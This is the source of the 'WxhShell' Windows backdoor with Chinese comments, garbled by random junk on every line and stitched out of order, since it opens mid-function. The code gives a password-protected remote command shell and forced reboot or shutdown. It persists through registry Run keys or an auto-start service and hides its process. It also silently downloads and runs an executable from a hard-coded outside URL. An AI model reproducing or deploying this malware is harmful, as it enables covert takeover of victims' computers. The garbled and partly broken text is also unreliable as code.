    ExitThread(0); pp9Zb.D\  
    } mPq$?gdp  
    break; wAnb Di{W  
    } !w&kyW?e  
  // 关机 2^?:&1:  
  case 'd': { apE   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); n3J53| %v  
    if(Boot(SHUTDOWN)) cwGbSW$t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NcY608C  
    else { }9nDo*A"}  
    closesocket(wsh); 9"g6C<  
    ExitThread(0); R8.CC1Ix  
    } K~ ;45Z2  
    break; 1S@vGq}  
    } JxyB(  
  // 获取shell q^6+!&"  
  case 's': { A*W) bZs.  
    CmdShell(wsh); ve&zcSeb  
    closesocket(wsh); DxJX+.9K9  
    ExitThread(0); 'Ei;^Y 1e  
    break; fS^!ZPe1  
  } zt^48~ry  
  // 退出 ~|<m,)!  
  case 'x': { @LJpdvb  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 'M3">$N  
    CloseIt(wsh); 610D% F  
    break; WxF:~{  
    } aL\nT XakX  
  // 离开 j <o3JV  
  case 'q': { p !s}=wI `  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ! !PYP'e  
    closesocket(wsh); #A]-ax?Qc}  
    WSACleanup(); k}~O}~-  
    exit(1); 1bGopi/  
    break; GguFo+YeZ  
        } 52o x`t|  
  } "s\L~R.&  
  } t(="h6i  
aF7nvu*N  
  // 提示信息 O:da-xWJ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p ;|jI1  
} < y*x]}  
  } m*mm\wN5  
|ae97 5  
  return; EM\'GW  
} NKQOUw:qn  
IgC}&  
// shell模块句柄 ^{8Gt @  
int CmdShell(SOCKET sock) ZY:[ekm%4Z  
{ .Lfo)?zG  
STARTUPINFO si; Mg^e3D1_  
ZeroMemory(&si,sizeof(si)); o=nsy]'&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; umdG(osR  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; T~b>B`_  
PROCESS_INFORMATION ProcessInfo; 29reG,>  
char cmdline[]="cmd"; Q[#vTB$f  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7w3CXY  
  return 0; }2ZsHM^]%  
} Ko^c|}mh*!  
Vx @|O%  
// 自身启动模式 <x!GE>sf+  
int StartFromService(void) UUMtyf  
{ >CkjUZu]&  
typedef struct J!DF^fLe  
{ IJ/sX_k  
  DWORD ExitStatus; e${)w-R/e  
  DWORD PebBaseAddress; }W ^: cp  
  DWORD AffinityMask; ~b:Rd{  
  DWORD BasePriority; T 6~_Q}6  
  ULONG UniqueProcessId; JAI)Eqqv]  
  ULONG InheritedFromUniqueProcessId;  aH#l9kCb  
}   PROCESS_BASIC_INFORMATION; bMU(?hb  
z~A]9|/61v  
PROCNTQSIP NtQueryInformationProcess; @JRNb=?a  
3"{.37Q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~xoF6 CF  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 77Bgl4P  
pFJB'=c  
  HANDLE             hProcess; R<V!%rL;;  
  PROCESS_BASIC_INFORMATION pbi; D$JHs4  
~(]0k.\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #Z5}2soA  
  if(NULL == hInst ) return 0; Iuh/I +[7  
C{d7J'Avk  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); u!:z.RH8n  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Reu*Pe  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); owPm/F  
Zy09L}59P  
  if (!NtQueryInformationProcess) return 0; ~.!c~fke  
)$,"u4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *& m#qEv  
  if(!hProcess) return 0; B^^r\L9  
K5"#~\D  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )*:`':_a  
Dwl3 Cj  
  CloseHandle(hProcess); n-TQ*&h]3S  
S~Id5T:,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); lvp8z) G  
if(hProcess==NULL) return 0; =V^.}WtO  
B7"PIkk;  
HMODULE hMod; n!qV>k9Y  
char procName[255];  H}:LQ~_2  
unsigned long cbNeeded; 4WB-Ec  
AdWq Q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $k$4% 7  
6eokCc"o  
  CloseHandle(hProcess); ''|#cEc)  
C2{lf^9:&  
if(strstr(procName,"services")) return 1; // 以服务启动 D0N9Ksq  
pn*3\  
  return 0; // 注册表启动 Q#EP|  
} Sv;_HZ  
m%PC8bf`S  
// 主模块 XQ*eP?OS{  
int StartWxhshell(LPSTR lpCmdLine) d,by / .2  
{ q=lAb\i  
  SOCKET wsl; vpU#xm.K  
BOOL val=TRUE; r4,VTy2Qe  
  int port=0; CpQN,-4  
  struct sockaddr_in door; $mCarFV-T  
+NFzSal  
  if(wscfg.ws_autoins) Install(); z ;u  
%4W$Lq}  
port=atoi(lpCmdLine); F H1Z 2  
|g3?y/l  
if(port<=0) port=wscfg.ws_port; >YUoh-]`  
!*`-iQo&  
  WSADATA data; %2V-~.Ro6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1$*%"5a  
nQ GQWg`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &* E+N[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _Ob@`  
  door.sin_family = AF_INET; `|Or{ih  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !!o8N<NU  
  door.sin_port = htons(port); mYU9 trHV  
|] Qg7m,O  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _uJ"m8Tl  
closesocket(wsl); a[2vjFf#C  
return 1; +S))3 5N[  
} 4R5D88= C  
0KD]j8^  
  if(listen(wsl,2) == INVALID_SOCKET) { . <tq6 1  
closesocket(wsl); P+)DsZ0ig  
return 1; s#uJ ;G  
}  ykrr2x  
  Wxhshell(wsl); ujJI 1I  
  WSACleanup(); ` }3qhar  
yAN=2fZm  
return 0; ?3O9eZY@  
eznypY=  
} 2<hpK!R  
h!m_PgRSs  
// 以NT服务方式启动 X=C1/4wU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &[&r2 >a  
{ SwU\ q]^|Z  
DWORD   status = 0; uf&N[M  
  DWORD   specificError = 0xfffffff; ^_ojR4  
HV/cc"  
  serviceStatus.dwServiceType     = SERVICE_WIN32; dik9 >*"|o  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; = P   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; TO-$B8*nq  
  serviceStatus.dwWin32ExitCode     = 0; srV.)Ur  
  serviceStatus.dwServiceSpecificExitCode = 0; .IJ_jt-^d  
  serviceStatus.dwCheckPoint       = 0; <x\7L2#p  
  serviceStatus.dwWaitHint       = 0; ^'jEnN(  
eh[_~>w  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); S\CRG>  
  if (hServiceStatusHandle==0) return; a" H WGY  
Skz|*n|eY  
status = GetLastError(); 76vy5R(.  
  if (status!=NO_ERROR) jLJ1u/l>;  
{ Jxqh )l  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; F]m gmYD%  
    serviceStatus.dwCheckPoint       = 0; #oJ5k8Wy  
    serviceStatus.dwWaitHint       = 0; ;}z\i  
    serviceStatus.dwWin32ExitCode     = status; u0`%+:]0  
    serviceStatus.dwServiceSpecificExitCode = specificError; ]qB:PtX  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); *G UAO){'  
    return; Yhp]x   
  } bZx!0>h  
H_?o-L?+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; CU7F5@+  
  serviceStatus.dwCheckPoint       = 0; ^2wLxXO6  
  serviceStatus.dwWaitHint       = 0; %Qmk2  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); YJ:3!B>Zo  
} +ki{H}G21  
,&4qgp{)  
// 处理NT服务事件,比如:启动、停止 i55x`>]&sb  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {NJfNu  
{ Ix|~f1*%  
switch(fdwControl) '$ef+@y  
{ qOaQxRYm%Y  
case SERVICE_CONTROL_STOP: 0 'Vg6E]/  
  serviceStatus.dwWin32ExitCode = 0; s`Cy a`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; "G:<7oTa  
  serviceStatus.dwCheckPoint   = 0; %{;Qls%[t  
  serviceStatus.dwWaitHint     = 0; 7E!7"2e a  
  { |;A/|F0-e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); VzJ5.mRQ  
  } U4G}DCU  
  return; al+ #y)+  
case SERVICE_CONTROL_PAUSE: i!~'M;S  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ""svDfy$  
  break; iE.-FZc  
case SERVICE_CONTROL_CONTINUE:  M/z}p  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8z5# ]u;  
  break; $0^P0RAH  
case SERVICE_CONTROL_INTERROGATE: {7Mj P+\  
  break; !,Zp? g)  
}; ^h &I H|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C>Is1i^9  
} %c)[ kAU!  
B cj/y4"  
// 标准应用程序主函数 pb0E@C/R  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8q)=  
{ -A-tuyIsh"  
79=45'8  
// 获取操作系统版本 Gs2p5nL<  
OsIsNt=GetOsVer();  ,YhwpkL  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,%YBG1E[y  
}`yiT<z  
  // 从命令行安装 f f7(  
  if(strpbrk(lpCmdLine,"iI")) Install(); V,EF'-F  
nY $tp  
  // 下载执行文件 ^Y{D^\} ,  
if(wscfg.ws_downexe) { *V(Fn-6(  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (qwdQMj`  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6b~28  
} <:8,niKtw  
6D;^uM2N  
if(!OsIsNt) { zdSh:  
// 如果时win9x,隐藏进程并且设置为注册表启动 0iEa[G3  
HideProc(); 0@Kkl$O>mb  
StartWxhshell(lpCmdLine); 8dK0o>|}  
} %i)B*9k  
else 4e9q`~ sO  
  if(StartFromService()) Q+i\8RJ  
  // 以服务方式启动 ?*r!{3T ,u  
  StartServiceCtrlDispatcher(DispatchTable); 6#A:}B<?  
else c-j_INGm  
  // 普通方式启动 ;7Oi!BC  
  StartWxhshell(lpCmdLine); X5g[ :QKP7  
p4VSm a_(  
return 0; PNSMcakD  
} Eaad,VBtU  
Ml>( tec  
[&Hkn5yq  
f c6g  
=========================================== >uJ/TQU  
x O7IzqY  
q6`G I6  
8O1K[sEjui  
H^1gy=kdj  
7 gB{In0  
" xn}BB}s{t  
*@ED}Mj+  
#include <stdio.h> GbU@BN+_  
#include <string.h> ^+?|Qfi  
#include <windows.h> !p 8psi0  
#include <winsock2.h> ;LJ3c7$@lf  
#include <winsvc.h> t^E hE  
#include <urlmon.h> d`Q7"}uZ  
wb"RB A9  
#pragma comment (lib, "Ws2_32.lib") > 7`&0?  
#pragma comment (lib, "urlmon.lib") f"&Xr!b.h  
/&ygiH{^  
#define MAX_USER   100 // 最大客户端连接数 ;mAhY  
#define BUF_SOCK   200 // sock buffer 0'$p$K  
#define KEY_BUFF   255 // 输入 buffer 3}&ZOO   
#p yim_  
#define REBOOT     0   // 重启 K'6[J"dB  
#define SHUTDOWN   1   // 关机 ,ZI\dtl  
K^%-NyV  
#define DEF_PORT   5000 // 监听端口 u@FsLHn  
?)3jqQ.  
#define REG_LEN     16   // 注册表键长度 "r.2]R3  
#define SVC_LEN     80   // NT服务名长度 >Cd9fJ&0gP  
+ C7T]&5s  
// 从dll定义API -+U/Lrt>8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); G@d`F  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); . gZZCf&?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); N b3$4(F  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); u}H$-$jE  
2pyt&'NJua  
// wxhshell配置信息 \+qOO65/+  
struct WSCFG { ; 7G_f  
  int ws_port;         // 监听端口 #\If]w*j  
  char ws_passstr[REG_LEN]; // 口令 -.vDF?@G  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4f1D*id*`#  
  char ws_regname[REG_LEN]; // 注册表键名 qJ[@:&:  
  char ws_svcname[REG_LEN]; // 服务名 9EF~l9`'U  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &:?e&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 9(VRq^Z1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 BH:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no r>qA $zD^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _LfHs1g4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 I6OSC&A`  
CdhSp$>  
}; JE%A|R<Jl  
?p8k{N(1  
// default Wxhshell configuration r!/0 j)  
struct WSCFG wscfg={DEF_PORT, nx4P^P C  
    "xuhuanlingzhe", P0\eB S  
    1, {^RG% &S  
    "Wxhshell", E;-qP)yU  
    "Wxhshell", zsTbdF  
            "WxhShell Service", &^ I+s^\=  
    "Wrsky Windows CmdShell Service", vrrt@y  
    "Please Input Your Password: ", ^GXEJU 7U  
  1, Qd8b-hg  
  "http://www.wrsky.com/wxhshell.exe", 1 ycc5=.  
  "Wxhshell.exe" Z}cIA87U  
    }; "xwM+AC  
.`LgYW  
// 消息定义模块 q=Xg*PM,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {tzxA_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _dmL}t-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; s j9D  
char *msg_ws_ext="\n\rExit."; Da,&+fZI!  
char *msg_ws_end="\n\rQuit."; x% XT2+  
char *msg_ws_boot="\n\rReboot..."; LC'F<MpM  
char *msg_ws_poff="\n\rShutdown..."; \K`jCsT  
char *msg_ws_down="\n\rSave to "; q6[}ydV  
 Q&+c.S  
char *msg_ws_err="\n\rErr!"; M4<+%EV}  
char *msg_ws_ok="\n\rOK!"; kr_oUXiX  
I($,9|9F  
char ExeFile[MAX_PATH]; mCb 9*|  
int nUser = 0; \C\gn]Z  
HANDLE handles[MAX_USER];   8Uj:  
int OsIsNt; { R*Y=Ie  
3&J&^O  
SERVICE_STATUS       serviceStatus; ?6:cNdN  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; q`loOm=y  
:Ee?K  
// 函数声明 ],?pe  
int Install(void); .98.G4J>  
int Uninstall(void); ul}'{|4  
int DownloadFile(char *sURL, SOCKET wsh); q,,j',8kq/  
int Boot(int flag); tyXl}$)y  
void HideProc(void); dF2@q@\.+  
int GetOsVer(void); t.z$j  
int Wxhshell(SOCKET wsl); T7GQ^WnA  
void TalkWithClient(void *cs); tBl#o ^  
int CmdShell(SOCKET sock); /VtlG+dLl  
int StartFromService(void); w4OW4J#  
int StartWxhshell(LPSTR lpCmdLine); UA0tFeH  
2NR7V*A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =K6c;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ta! V=U  
rUFFF'm\*a  
// 数据结构和表定义 "#XtDpGk  
SERVICE_TABLE_ENTRY DispatchTable[] = y"R("j $  
{ ?cBO6^  
{wscfg.ws_svcname, NTServiceMain}, QeK{MF  
{NULL, NULL} a2 >[0_E  
}; o4'v> b  
$n*%v85  
// 自我安装 9[f%;WaS  
int Install(void) o_:Qk;t  
{ 6<76O~hNZ  
  char svExeFile[MAX_PATH]; 0o;~~\fq.  
  HKEY key; #J~Xv:LgD  
  strcpy(svExeFile,ExeFile); =5_y<0`4  
#O6 EP#B  
// 如果是win9x系统,修改注册表设为自启动 fIEw(k<*  
if(!OsIsNt) { C >kmIw'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o>K &D$J;O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DrFur(=T  
  RegCloseKey(key); 3jg'1^c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y1Z1=U*!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8}K"IW  
  RegCloseKey(key); qp1\I$Y  
  return 0; 4f jC  
    } :tlE`BIp  
  } Z%;)@0~f  
} )BlJ|M  
else { *zSxG[s  
. z].:$J&  
// 如果是NT以上系统,安装为系统服务 ^cb)f_90  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); W2n*bNI  
if (schSCManager!=0) ioWJj.%  
{ NE[y|/  
  SC_HANDLE schService = CreateService aL 8Gnqf2  
  ( ;&7,7 3!  
  schSCManager, y*(_\\  
  wscfg.ws_svcname, Q(blW  
  wscfg.ws_svcdisp, 8qmknJC  
  SERVICE_ALL_ACCESS, (7 ijt  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , mLULd}g/o  
  SERVICE_AUTO_START, skK*OO 2-  
  SERVICE_ERROR_NORMAL, n`QO(pZ6+  
  svExeFile, $"1pws?d  
  NULL, `;}H%  
  NULL, Rj&qh`  
  NULL, @jKDj]\  
  NULL, ,N0uR@GN  
  NULL @bY?$fj_u  
  ); c G*(C  
  if (schService!=0) O*ImLR)i+s  
  { 1M=   
  CloseServiceHandle(schService); iW;}%$lVX  
  CloseServiceHandle(schSCManager); dWjx"7^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  /+N|X  
  strcat(svExeFile,wscfg.ws_svcname); ~r PYJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { l JlZHO  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &h\CS8nT%  
  RegCloseKey(key); V 1*Ad  
  return 0; !+=Zjm4L  
    } |a>}9:g,=*  
  } Y.(v{l  
  CloseServiceHandle(schSCManager); db^aL8  
} {GK(fBE  
} yqYhe-"  
8Kk3_ y  
return 1; ^pN 5NwC5  
} HIsB|  
@kz!{g]Sn  
// 自我卸载 A1=_nt)5  
int Uninstall(void) =hPG_4#  
{ \a?K?v|8  
  HKEY key; [u7 vY@  
PqVW'FYe  
if(!OsIsNt) { B%2L1T=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <_>.!9q  
  RegDeleteValue(key,wscfg.ws_regname); (Hl8U  
  RegCloseKey(key); CJv> /#$/F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xM%`K P.8X  
  RegDeleteValue(key,wscfg.ws_regname); _HLC>pH~#  
  RegCloseKey(key); /%5_~Jkr,  
  return 0; B(8mH  
  } </|)"OD9  
} YsZ{1W  
} !e&rVoA  
else { 2+,5p  
|7 ]?>-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Yg[ v/[]  
if (schSCManager!=0) _Q)d+Fl  
{ |.Em_*VG  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Z@}sCZ=#A  
  if (schService!=0) abL/Y23 "  
  { FOc|*>aKP  
  if(DeleteService(schService)!=0) { G *ds4R?!  
  CloseServiceHandle(schService); 3IGCl w(  
  CloseServiceHandle(schSCManager); :fRmUAK%  
  return 0; Z^{+,$H@  
  } ix^gAot  
  CloseServiceHandle(schService); E2kW=6VO>|  
  } QH4k!^  
  CloseServiceHandle(schSCManager); TeKC} NW  
} H_Iim[v#  
} Jc`Rs"2  
8^8>qSD1  
return 1; A%h~Z a  
} ]7v81G5E  
sZ]'DH&_(  
// 从指定url下载文件 _2]O^$L  
int DownloadFile(char *sURL, SOCKET wsh) ;CA ?eI  
{ #FEa 5  
  HRESULT hr; /731.l  
char seps[]= "/"; l6V%"Lo/)  
char *token; IhUW=1& J  
char *file; ,GP!fsK  
char myURL[MAX_PATH]; L'13BRu`  
char myFILE[MAX_PATH]; &S<? 07Z  
x)j/  
strcpy(myURL,sURL); I$+%~4  
  token=strtok(myURL,seps); ax<g0=^R  
  while(token!=NULL) LE8K)i  
  { w~4 z@/^"p  
    file=token; =x=1uXQv5  
  token=strtok(NULL,seps); yQ8M >H#J  
  } ;&If9O 1  
O;UiYrXU  
GetCurrentDirectory(MAX_PATH,myFILE); #m[vn^8B]y  
strcat(myFILE, "\\"); @55bE\E?@  
strcat(myFILE, file); ^I@ey*$  
  send(wsh,myFILE,strlen(myFILE),0); `E{;85bDH  
send(wsh,"...",3,0); anK[P'Y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (~=Qufy  
  if(hr==S_OK) _t$lcOT  
return 0; $< A8gTJ  
else ftO+.-sm<  
return 1; hN& yc  
03~+-h& n  
} ^uC"dfH  
CKx\V+\O  
// 系统电源模块 :-$cdZ3E  
int Boot(int flag) 2IKxh  
{ ]#vWKNv:;  
  HANDLE hToken; Q.r B\8ea  
  TOKEN_PRIVILEGES tkp; tceIA8d6  
Y=5!QLV4  
  if(OsIsNt) { ;:AG2zE!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); / c +,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); N{ : [/  
    tkp.PrivilegeCount = 1; +]A+!8%Z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; iPA@<D%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -zPm{a  
if(flag==REBOOT) { Dm>T"4B`/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) o~Bk0V=  
  return 0; zA2UFax=  
} 01&*`0?  
else { iSOD&J_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;n3uV`\  
  return 0; sXSj OUI  
} [Xs}FJ  
  } WH{cJ7wCL  
  else { \#uqD\DE  
if(flag==REBOOT) { +A'}PXm*tu  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) v>JB rIb$  
  return 0; 'u4}t5Bu5  
} g@$0FY{Q  
else { }UyzM y,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) h{Oz*Bq  
  return 0; Sja"(sJ  
} J%:WLQo  
} bk/.<Rt  
+<'uw  
return 1; NFdJb\  
} w;lx:j!Vp$  
O4lxeiRgC  
// win9x进程隐藏模块 )fxo)GS  
void HideProc(void) 1i5 vW-'4  
{ &Tf=~6  
tfi2y]{A  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); B(S5+Y  
  if ( hKernel != NULL ) mJwv&E  
  { #B}BI8o (  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); p +u{W"I`  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); vN{vJlpY  
    FreeLibrary(hKernel); ] +}:VaeA  
  } VFe-#"0ZO  
d[~au=b  
return; ^JYF1   
} o%kSR ]V|  
gg lNpzj  
// 获取操作系统版本 ~J8cS  
int GetOsVer(void) $=\oJ-(!@S  
{ @qg0u#k5  
  OSVERSIONINFO winfo; ~0VwF  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); I>N-95  
  GetVersionEx(&winfo); ]3gYuz|  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~@b9  
  return 1; ==jkp U*=  
  else MuCQxzvkhf  
  return 0; `77;MGg*  
} v&t`5-e-A  
V/QTYy1  
// 客户端句柄模块 p[ks} mca@  
int Wxhshell(SOCKET wsl) rC=p;BC@dD  
{ sW>P-  
  SOCKET wsh; ?TL2'U|M  
  struct sockaddr_in client; }0k"Sw X  
  DWORD myID; Pur"9jHa4  
Hl%+F 0^?  
  while(nUser<MAX_USER) -L^0-g  
{ y>)mSl@1y  
  int nSize=sizeof(client); w3>Y7vxiz`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,gFL Wb`B'  
  if(wsh==INVALID_SOCKET) return 1; HB/ _O22  
&%_y6}xIw  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7?kXgR[#d  
if(handles[nUser]==0) #C;#$|d  
  closesocket(wsh); 2:smt)f  
else 9m<X-B&P  
  nUser++; B`RW-14g  
  } t[H_6)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~Mg8C9B?%3  
EvGUj$  
  return 0; 'W<a54T?z  
} B}TInI%H  
= y,yQO  
// 关闭 socket A-AN6.  
void CloseIt(SOCKET wsh) 0C9QAJa  
{ i9#`F.7F  
closesocket(wsh); dpc=yXg>"c  
nUser--; BDB zc5Q(  
ExitThread(0); uK"$=v6|  
} 2i4Dal  
%k1q4qOG]^  
// 客户端请求句柄 oKMg7 3*  
void TalkWithClient(void *cs) |-cALQ  
{ IdQwLt  
NO0[`jy(  
  SOCKET wsh=(SOCKET)cs; ey9fbS ^I  
  char pwd[SVC_LEN]; !0d9<SVC  
  char cmd[KEY_BUFF]; tZJ 9}\r  
char chr[1]; 0qaG#&!  
int i,j; `#IT24!  
2Wc;hJ.1  
  while (nUser < MAX_USER) { *aSRKY  
&CPe$'FYI  
if(wscfg.ws_passstr) { Og%zf1)aZM  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); eAenkUBz6,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q)zu}m  
  //ZeroMemory(pwd,KEY_BUFF); 45!`g+)  
      i=0; S+e-b'++?  
  while(i<SVC_LEN) { FZ}C;yUPD  
w oY)G7%  
  // 设置超时 ZT3jxwe  
  fd_set FdRead; }E)8soQR  
  struct timeval TimeOut; x""Mxn]gD  
  FD_ZERO(&FdRead); ZQ-z2s9U  
  FD_SET(wsh,&FdRead); ><Mbea=U+  
  TimeOut.tv_sec=8; q4IjCu+  
  TimeOut.tv_usec=0; `OF ;>u*:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); BZ'y}Zu*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #L+s%OJ`  
o^.s!C%j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,XF6Xsg2  
  pwd=chr[0]; cbg3bi  
  if(chr[0]==0xd || chr[0]==0xa) { "_% 0|;  
  pwd=0; PauFuzPP  
  break; c,u$tnE)  
  } {F{[!.  
  i++; XN0RT>@  
    } 802]M  
=f{Z~`3  
  // 如果是非法用户,关闭 socket H 29 _ /  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?M1 QJ  
} 4HYH\ey  
!Z9ikn4A  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1<Ztk;$A  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); []]LyWk  
hzf}_1  
while(1) { , K"2tb  
`A}{ I}xq  
  ZeroMemory(cmd,KEY_BUFF); eJwii  
:XZJxgx  
      // 自动支持客户端 telnet标准   *rMN,B@  
  j=0; <?`e9o  
  while(j<KEY_BUFF) { qo&SJDG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h 19.b:JT  
  cmd[j]=chr[0]; CBgFB-!qpe  
  if(chr[0]==0xa || chr[0]==0xd) { khO<Z^wi[  
  cmd[j]=0; "N[gMp6U  
  break; xBx?>nN  
  } FL_ arhrqD  
  j++; <3]/ms  
    } b ffml  
>Gu>T\jpe.  
  // 下载文件 A<G ;  
  if(strstr(cmd,"http://")) { V1+o3g{}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); EXM/>PG  
  if(DownloadFile(cmd,wsh)) eVbh$cIrZ  
